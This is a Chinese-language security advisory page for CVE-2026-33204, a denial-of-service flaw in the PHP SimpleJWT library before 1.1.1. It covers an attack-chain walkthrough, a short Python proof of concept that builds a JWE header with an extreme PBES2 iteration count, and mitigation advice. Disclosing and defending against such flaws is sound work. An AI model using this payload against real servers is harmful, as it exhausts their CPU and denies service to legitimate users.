IPBUF安全漏洞报告
English
CVE-2026-33204 CVSS 7.5 高危

CVE-2026-33204 SimpleJWT 拒绝服务漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33204
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SimpleJWT

相关标签

CVE-2026-33204DoSSimpleJWTPHPJWEAlgorithmic Complexity

漏洞概述

SimpleJWT 是一个用 PHP 编写的 JSON Web Token 库。在 1.1.1 版本之前,当使用 PBES2 算法时,未经身份验证的攻击者可以通过篡改 JWE 头部执行拒绝服务攻击。该漏洞影响所有调用 JWE::decrypt() 处理受控 JWE 输入的应用程序。此问题已在 1.1.1 版本中修复。

技术细节

该漏洞属于算法复杂度攻击。SimpleJWT 库在处理 PBES2 算法的 JWE 解密时,直接从令牌头部读取迭代计数参数(p2c)用于密钥派生。攻击者可将 p2c 设置为极大值(如百万级)。由于该计算是 CPU 密集型的,服务器解密单个恶意请求需消耗大量时间。由于无需认证且无交互,攻击者可并发发送大量此类恶意 JWE 令牌,迅速耗尽服务器 CPU 资源,导致系统负载过高,无法处理正常请求,从而实现拒绝服务。这凸显了处理加密参数时进行边界限制的重要性。

攻击链分析

STEP 1
侦察
攻击者识别目标系统正在使用 SimpleJWT 库处理 JWE 令牌,且该库版本低于 1.1.1。
STEP 2
构造恶意载荷
攻击者构造一个特制的 JWE 令牌,使用 PBES2 算法,并将头部中的 p2c(迭代计数)参数设置为极大的数值(如 10,000,000)。
STEP 3
发送请求
攻击者无需认证,直接向目标应用程序的 API 接口发送包含恶意 JWE 头部的请求,触发 JWE::decrypt() 函数。
STEP 4
资源耗尽
服务器在尝试解密令牌时,被迫执行 PBKDF2 密钥派生函数的大量迭代计算,导致 CPU 占用率飙升至 100%。
STEP 5
拒绝服务
大量此类请求并发发送将导致服务器资源耗尽,无法响应合法用户请求,达成拒绝服务攻击目标。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: Malicious JWE Header Generation # This script demonstrates how to create a JWE header with a high iteration count (p2c) # to trigger the DoS condition in vulnerable SimpleJWT versions. import json import base64 def malicious_jwe_header(): # Define the header with PBES2 algorithm and a very high p2c (iteration count) header = { "alg": "PBES2-HS256+A128KW", "enc": "A128CBC-HS256", "p2c": 10000000 # High iteration count to cause CPU exhaustion } # Encode to Base64URL header_json = json.dumps(header, separators=(',', ':')) header_b64 = base64.urlsafe_b64encode(header_json.encode()).decode().rstrip('=') print(f"Malicious JWE Header: {header_b64}") return header_b64 if __name__ == "__main__": malicious_jwe_header()

影响范围

SimpleJWT < 1.1.1

防御指南

临时缓解措施
如果无法立即升级,建议在调用 JWE::decrypt() 之前,解析并校验 JWE 头部中的 p2c 参数,拒绝或修改过大的迭代次数。同时,可以在应用网关层对解密接口增加速率限制,以减少攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表